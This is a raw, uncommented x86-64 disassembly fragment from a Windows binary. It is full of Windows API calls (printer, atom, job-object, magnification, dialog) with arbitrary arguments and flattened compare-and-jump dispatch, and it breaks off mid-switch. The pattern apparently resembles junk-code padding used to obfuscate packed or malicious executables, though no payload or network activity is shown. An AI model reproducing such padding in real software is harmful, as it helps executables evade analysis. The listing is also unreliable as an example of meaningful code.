mov rcx, qword [rsp + 0x8d00]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
mov byte [rsp + 0x480c], al
cmp byte [rsp + 0x480c], 0
je 0x14003d406
cmp byte [rsp + 0x480c], 0xf
je 0x14019d679
cmp byte [rsp + 0x480c], 0x16
je 0x14019d4ab
cmp byte [rsp + 0x480c], 0x4d
je 0x14019d32a
cmp byte [rsp + 0x480c], 0x6e
je 0x14019d6e6
jmp 0x14019d8e9
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov byte [rsp + 0x4814], al
cmp byte [rsp + 0x4814], 2
je 0x14003d470
cmp byte [rsp + 0x4814], 0x1a
je 0x14019ccb4
cmp byte [rsp + 0x4814], 0x1e
je 0x14019cd23
cmp byte [rsp + 0x4814], 0x7b
je 0x14019ce08
jmp 0x14019d099
movsx eax, word [rsp + 0xa54]
mov dword [rsp + 0x4818], eax
cmp dword [rsp + 0x4818], 0x344
je 0x14019c71e
cmp dword [rsp + 0x4818], 0x359
je 0x14019c92c
cmp dword [rsp + 0x4818], 0x61b
je 0x14019c4bf
cmp dword [rsp + 0x4818], 0x620
je 0x14019c658
cmp dword [rsp + 0x4818], 0x488a
je 0x14003d4d5
jmp 0x14019ca49
mov rcx, qword [rsp + 0x8df8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x274], al
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [rsp + 0xb4c]
mov dword [rsp + 0x481c], eax
cmp dword [rsp + 0x481c], 0xffffbd8c
je 0x14003d5f6
cmp dword [rsp + 0x481c], 0x322
je 0x14003d55f
jmp 0x14003d76e
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x273]
add eax, ecx
mov rcx, qword [rsp + 0x9160]
mov byte [rcx], al
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4788], eax
mov edx, 0x52
mov rcx, qword [rsp + 0x8db0]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x91e0], rax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [0x14022fb68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
lea rcx, [rsp + 0x1ed30]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4314], eax
lea rdx, [rsp + 0x1a310]
mov rcx, qword [rsp + 0x91e8]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x46e4], eax
jmp 0x14003d76e
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb4c]
sub eax, ecx
mov word [rsp + 0xa54], ax
movzx eax, word [rsp + 0xf0c]
mov dword [rsp + 0x4820], eax
cmp dword [rsp + 0x4820], 0x217
je 0x14003d693
cmp dword [rsp + 0x4820], 0x3bc
je 0x14003d72a
cmp dword [rsp + 0x4820], 0x4f5
je 0x14003d652
jmp 0x14003d74f
mov rcx, qword [rsp + 0x9078]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x47a0], eax
lea rax, [0x14022fb60]
mov qword [rsp + 0x91f0], rax
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
jmp 0x14003d76e
mov r9d, 0x5e
mov r8d, 0xa8
mov edx, 0x86
mov rcx, qword [rsp + 0x9060]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
lea rax, [rsp + 0x8f98]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8bc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd1
lea r9, [rsp + 0x1f150]
mov r8d, 0x37
mov rdx, qword [rsp + 0x8ca0]
mov ecx, 0x8a
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x479c], eax
mov r9d, LBItemFromPt
mov r8d, 4
mov edx, 0x66
mov rcx, qword [rsp + 0x91f8]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x9200], rax
jmp 0x14003d76e
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
jmp 0x14003d76e
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x270], al
movzx ecx, word [rsp + 0xee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef4], ax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x8e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x465c], eax
mov rax, qword [rsp + 0x9008]
mov rax, qword [rax]
mov qword [rsp + 0x9208], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0xb4c]
mov dword [rsp + 0x4824], eax
cmp dword [rsp + 0x4824], 0xffffbd8c
je 0x14003d7f0
cmp dword [rsp + 0x4824], 0x34c
je 0x14019c00a
jmp 0x14019c0de
mov eax, dword [0x14022fb68]
mov dword [rsp + 0x46c4], eax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4828]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x470c], eax
mov rax, qword [rsp + 0x8e30]
mov qword [rsp + 0x9210], rax
movabs rax, 0x741a52bb7866b3
cmp qword [rsp + 0x9210], rax
je 0x14019bdd5
movabs rax, 0xde792ebabe27b2
cmp qword [rsp + 0x9210], rax
je 0x14003d85a
jmp 0x14019bdfc
mov rax, qword [rsp + 0x8f98]
movzx eax, byte [rax]
mov byte [rsp + 0x275], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa54]
sub eax, ecx
mov word [rsp + 0xb4c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
lea rax, [rsp + 0x270]
mov qword [rsp + 0x9218], rax
lea rdx, [rsp + 0x8ee0]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x482c], eax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov qword [rsp + 0x9220], rax
movabs rax, 0x7bd727b0c72100
cmp qword [rsp + 0x9220], rax
je 0x14003d916
movabs rax, 0x7e3ff16e18c610
cmp qword [rsp + 0x9220], rax
je 0x14003d937
jmp 0x14003dae3
lea rdx, [rsp + 0x1a328]
mov rcx, qword [rsp + 0x8fe0]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4830], eax
jmp 0x14003dae3
movzx eax, word [rsp + 0xf00]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e58]
mov word [rcx], ax
movzx eax, byte [rsp + 0x270]
movzx ecx, byte [rsp + 0xee]
and eax, ecx
mov byte [rsp + 0x26f], al
mov r9d, 0xeb
mov r8d, 0x44
mov edx, 0x51
mov rcx, qword [rsp + 0x8b98]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b90], rax
mov r8d, 0x47
mov rdx, qword [rsp + 0x8fb8]
mov rcx, qword [rsp + 0x9228]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
lea rcx, [rsp + 0x1a298]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9230], rax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x4768], eax
lea rax, [rsp + 0x91e0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x68
lea r9, [rsp + 0x7b18]
mov r8d, 0x1d
mov rdx, qword [rsp + 0x9148]
mov rcx, qword [rsp + 0x9130]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x47c0], eax
lea r8, [rsp + 0x1ed30]
xor edx, edx
mov rcx, qword [rsp + 0x8eb0]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x4834], eax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8e30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov rcx, qword [0x14022fb60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e30], rax
lea rcx, [rsp + 0x1ed30]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4744], eax
mov dword [rsp + 0x28], 0xc6
lea rax, [rsp + 0x8dc8]
mov qword [rsp + 0x20], rax
mov r9d, 0x76
mov r8, qword [rsp + 0x9238]
mov rdx, qword [rsp + 0x9240]
mov rcx, qword [rsp + 0x9248]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x47d8], eax
mov edx, 0xf6
mov ecx, 0xfb
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x9250], rax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov dword [0x14024f3b8], eax
mov eax, dword [rsp + 0x4314]
mov dword [rsp + 0x4668], eax
movsx eax, word [rsp + 0xef0]
movsx ecx, word [0x14024f3be]
add eax, ecx
mov word [rsp + 0xe6c], ax
movsx eax, byte [rsp + 0x271]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x272], al
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x4770], eax
mov eax, dword [rsp + 0x4440]
mov dword [rsp + 0x4838], eax
cmp dword [rsp + 0x4838], 0
je 0x14003dbf8
cmp dword [rsp + 0x4838], 0x68b5
je 0x14003deef
cmp dword [rsp + 0x4838], 0x735f
je 0x14003dd09
cmp dword [rsp + 0x4838], 0x9c6c
je 0x14003db97
jmp 0x14003dfa1
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf04]
add eax, ecx
mov word [rsp + 0xf00], ax
mov dword [rsp + 0x28], 0xf5
lea rax, [rsp + 0x9198]
mov qword [rsp + 0x20], rax
mov r9d, 0xec
mov r8, qword [rsp + 0x9258]
mov rdx, qword [rsp + 0x9260]
mov rcx, qword [rsp + 0x9268]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x483c], eax
jmp 0x14003e19b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea rax, [rsp + 0x9208]
mov qword [rsp + 0x9270], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, 0x22fe
mov rcx, qword [rsp + 0x8df8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f0], eax
mov r9d, 2
lea r8, [rsp + 0x8ee0]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4840], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x20b9
mov r9d, 0x12bd
mov r8d, 0xa3a36e65
mov edx, 1
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46f4], eax
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4844], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee0], ax
lea rcx, [rsp + 0x9278]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
mov byte [rsp + 0x276], al
jmp 0x14003e19b
mov rcx, qword [rsp + 0x9018]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x4680], eax
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8110]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x91f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14024f3c8], ax
lea rdx, [rsp + 0x1ef20]
mov rcx, qword [rsp + 0x9280]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x46d8], eax
mov edx, 0x72
mov rcx, qword [rsp + 0x8bf8]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8c70], rax
lea rax, [rsp + 0x8f98]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x61
lea r9, [rsp + 0x9208]
mov r8d, 0x5e
mov edx, 0x9f
mov rcx, qword [rsp + 0x9288]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x46e0], eax
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x273], al
mov r8d, 0x90
mov rdx, qword [rsp + 0x90d8]
mov rcx, qword [rsp + 0x8fa8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movsx eax, word [rsp + 0xa54]
movsx ecx, word [rsp + 0xb4c]
or eax, ecx
mov rcx, qword [rsp + 0x9170]
mov word [rcx], ax
lea rax, [rsp + 0xe6c]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x27
lea rax, [rsp + 0x9028]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x91e0]
mov r8, qword [rsp + 0x91a0]
mov rdx, qword [rsp + 0x9290]
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x4710], eax
mov eax, dword [rsp + 0x4314]
movzx ecx, al
mov eax, dword [0x14022fb5c]
sar eax, cl
mov dword [rsp + 0x4644], eax
mov r9d, 0x57
mov r8d, 0x82
mov rdx, qword [rsp + 0x9298]
mov rcx, qword [rsp + 0x9060]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x47fc], eax
mov dword [rsp + 0x20], 0xf1
lea r9, [rsp + 0x8bb0]
mov r8d, 0xc0
mov edx, 0x2b
mov rcx, qword [rsp + 0x9288]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x4848], eax
jmp 0x14003e19b
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4768], eax
lea rcx, [rsp + 0x1f1c0]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x47c0], eax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
xor eax, ecx
mov byte [rsp + 0x26f], al
mov eax, dword [rsp + 0x484c]
movzx ecx, al
mov eax, dword [rsp + 0x4750]
shl eax, cl
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x9d
lea r9, [rsp + 0x8ba8]
mov r8d, 0x4e
mov edx, 0x8d
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x4788], eax
lea r8, [rsp + 0x273]
lea rdx, [rsp + 0x8f58]
lea rcx, [rsp + 0x8ce8]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x4720], eax
jmp 0x14003e19b
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x80e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4680], eax
mov dword [rsp + 0x20], 0x8c
lea r9, [rsp + 0x9208]
mov r8d, 0x38
lea rdx, [rsp + 0x9160]
mov rcx, qword [rsp + 0x9130]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x4850], eax
lea r9, [rsp + 0x8ce8]
lea r8, [rsp + 0xb4c]
xor edx, edx
mov rcx, qword [rsp + 0x8c90]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x4854], eax
lea rax, [rsp + 0x1a328]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x8ce8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x45
lea rax, [rsp + 0x8ec8]
mov qword [rsp + 0x20], rax
mov r9d, 0xb4
mov r8d, 0x50
mov edx, 4
mov rcx, qword [rsp + 0x92a0]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x4858], eax
mov qword [rsp + 0x20], 0xd0
mov r9, qword [rsp + 0x92a8]
mov r8, qword [rsp + 0x8b88]
mov rdx, qword [rsp + 0x8fd8]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4668], eax
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x485c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d3], al
lea r9, [rsp + 0xe6c]
mov r8d, 0x9d
mov rdx, qword [rsp + 0x9118]
mov rcx, qword [rsp + 0x8be0]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x47ac], eax
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14024f3c8], ax
lea rdx, [rsp + 0x1f070]
mov rcx, qword [rsp + 0x92b0]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4860], eax
lea rcx, [rsp + 0x1a278]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9020], rax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4864]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x271]
sub eax, ecx
mov byte [rsp + 0x272], al
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
mov dword [rsp + 0x4868], eax
cmp dword [rsp + 0x4868], 0x4f5
je 0x14003e6f8
cmp dword [rsp + 0x4868], 0x6a0
je 0x14003e406
cmp dword [rsp + 0x4868], 0xc13
je 0x14003e203
cmp dword [rsp + 0x4868], 0xd94
je 0x14003e7f3
cmp dword [rsp + 0x4868], 0xfa3
je 0x14003e587
jmp 0x14003e811
mov rcx, qword [rsp + 0x8bb8]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x486c], eax
lea rax, [rsp + 0x8bc0]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
mov r8, qword [rsp + 0x92b8]
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x92c0]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x474c], eax
lea rdx, [rsp + 0x1f230]
mov rcx, qword [rsp + 0x92c8]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4870], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe6c]
add eax, ecx
mov word [rsp + 0xef0], ax
mov rcx, qword [rsp + 0x92d0]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x4734], eax
mov r8d, 0xfb
mov rdx, qword [rsp + 0x8b88]
mov rcx, qword [rsp + 0x91f8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [rsp + 0x9008]
mov rcx, qword [rsp + 0x9270]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x276]
movzx ecx, byte [rsp + 0x26f]
sub eax, ecx
mov byte [rsp + 0x1d3], al
mov dword [rsp + 0x20], 0x62
lea r9, [rsp + 0x1f070]
mov r8d, 0x2c
mov rdx, qword [rsp + 0x8cb0]
mov rcx, qword [rsp + 0x92d8]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x4434], eax
mov dword [rsp + 0x20], 0x3d
lea r9, [rsp + 0x8cb0]
mov r8d, 0x66
mov edx, 0x5c
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x468c], eax
mov rcx, qword [rsp + 0x92e0]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x47ac], eax
movzx eax, word [rsp + 0x6d8]
movzx ecx, word [rsp + 0xeec]
sar eax, cl
mov word [rsp + 0xf04], ax
lea rax, [rsp + 0x8e10]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x13
lea rax, [rsp + 0x8e10]
mov qword [rsp + 0x20], rax
mov r9d, 0xf2
mov r8d, 0x4e
mov edx, 0x5d
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x46dc], eax
mov r9d, 0xbc
lea r8, [rsp + 0x8f98]
mov edx, 0xa
mov rcx, qword [rsp + 0x8c38]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x47fc], eax
jmp 0x14003e811
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0x92e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x92e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x80e0], rax
lea rdx, [rsp + 0x1a310]
mov rcx, qword [rsp + 0x92f0]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4874], eax
lea rcx, [rsp + 0x1ed30]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4314], eax
xor r8d, r8d
mov rdx, qword [rsp + 0x8dc8]
mov rcx, qword [rsp + 0x92f8]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4878], eax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x9010]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7f10], rax
lea rax, [rsp + 0x9040]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xa3
lea r9, [rsp + 0x8110]
mov r8d, 0xdb
mov rdx, qword [rsp + 0x8d88]
mov rcx, qword [rsp + 0x9300]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x478c], eax
movsx eax, byte [rsp + 0x271]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
lea rax, [rsp + 0x1a248]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x29
lea r9, [rsp + 0x8f20]
mov r8d, 0x4b
mov rdx, qword [rsp + 0x9260]
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x4858], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb4c]
add eax, ecx
mov word [rsp + 0xe6c], ax
jmp 0x14003e811
lea rax, [rsp + 0x47b4]
mov qword [rsp + 0x20], rax
mov r9d, 0xe2
lea r8, [rsp + 0x8d78]
mov edx, 0x12
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x487c], eax
lea rax, [rsp + 0x4778]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xce
lea rax, [rsp + 0x1f0e0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1ed30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9308]
mov qword [rsp + 0x20], rax
mov r9d, 0xa8
mov r8, qword [rsp + 0x8b38]
mov edx, 0x47
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x4800], eax
mov qword [rsp + 0x20], 0x51
mov r9, qword [rsp + 0x91a8]
mov r8, qword [rsp + 0x9158]
mov rdx, qword [rsp + 0x9138]
mov rcx, qword [rsp + 0x9040]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x9310], rax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4880], eax
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
mov dword [rsp + 0x4884], eax
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf0c]
sub eax, ecx
mov rcx, qword [rsp + 0x8e08]
mov word [rcx], ax
mov qword [rsp + 0x20], 0xcc
mov r9, qword [rsp + 0x8bc0]
mov r8, qword [rsp + 0x9318]
mov rdx, qword [rsp + 0x9320]
mov rcx, qword [rsp + 0x8bb0]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x46c4], eax
lea r9, [rsp + 0x9208]
mov r8d, 0x3b
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x9110]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x47ec], eax
jmp 0x14003e811
lea rcx, str.6R_Rgc
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf14], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4888], eax
movzx ecx, word [rsp + 0xee0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xefc], ax
mov edx, 0x4d9
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f0], eax
lea rcx, str.KGH1QoswKDXk.g9Ge0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf18], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42f4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
jmp 0x14003e811
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0x9080]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8110], rax
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
imul rax, qword [rsp + 0x8110]
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x270]
mov dword [rsp + 0x488c], eax
mov eax, dword [rsp + 0x488c]
sub eax, 4
mov dword [rsp + 0x488c], eax
cmp dword [rsp + 0x488c], 0xdc
ja case.0x14003e882.10
movsxd rax, dword [rsp + 0x488c]
